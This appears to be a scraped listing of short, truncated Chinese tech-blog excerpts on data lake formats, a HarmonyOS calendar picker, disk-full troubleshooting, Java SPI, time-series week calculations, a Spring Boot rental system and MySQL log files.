[一]功能对比 Hudi Delta Lake Iceberg 读写功能对比 ACID Transactions 我可以对列式文件进行版本控制和重写吗&#xff1f; Copy-On-Write 我可以在不重写整个文件的情况下高效地摊销更新吗&#xff1f; Merge-On-Read 我可以高效地将初始加载布局到表中吗&…

鸿蒙UI开发——日历选择器

1、概 述 在项目开发中&#xff0c;我们时常会用到日历选择器&#xff0c;效果如下&#xff1a; ArkUI已经为我们提供了组件&#xff0c;我们可以直接使用&#xff0c;下面针对日历组件做简单介绍。 2、CalendarPickerDialog 接口定义如下&#xff1a; // 定义日历选择器弹…

磁盘满造成业务异常问题排查

最近遇到一个因为磁盘满导致的问题&#xff0c;分享一下&#xff0c;希望能够帮助到以后遇到同样问题的朋友。 早上突然收到业务老师反馈说&#xff1a;上传文件不能正常上传了。 想想之前都好好的&#xff0c;最近又没有更新&#xff0c;为什么突然不能使用了呢&#xff1f;…

Java SPI机制介绍及原理分析

概念介绍 SPI 即 Service Provider Interface &#xff0c;字面意思就是&#xff1a;“服务提供者的接口”&#xff0c;我的理解是专门给服务提供者使用的接口&#xff0c;也就是定义接口的人&#xff0c;和实现接口的人并不是同一个人 SPI 将服务接口和具体的服务实现分离开来…

数据分析-55-时间序列分析之获取时间序列的自然周期时间区间

文章目录 1 获取某年的总天数1.1 get_year_days()1.2 应用函数2 获取某年的总周数2.1 get_year_weeks()2.2 应用函数3 获取某日期属于某年的周数3.1 get_time_yearweek()3.2 应用函数4 获取某年某周的开始时间和结束时间4.1 get_week_start_end()4.2 应用函数5 获取往前num周期…

基于Spring Boot的房屋租赁系统源码(java+vue+mysql+文档)

项目简介 房屋租赁系统实现了以下功能&#xff1a; 基于Spring Boot的房屋租赁系统的主要使用者管理员可登录系统后台&#xff0c;登录后可对系统进行全面管理&#xff0c;包括个人中心、公告信息管理、租客管理、户主管理、房屋信息管理、看房申请管理、租赁合同管理、收租信…

MySQL--2.1MySQL的六种日志文件

大家好&#xff0c;我们来说一下MySQL的6中日志文件。 1.查询日志 查询日志主要记录mysql的select查询的&#xff0c;改配置是默认关闭的。不推荐开启&#xff0c;因为会导致大量查询日志文件储存占用你的空间。 举例查询一下 select * from class&#xff1b; 开启查询日志的命…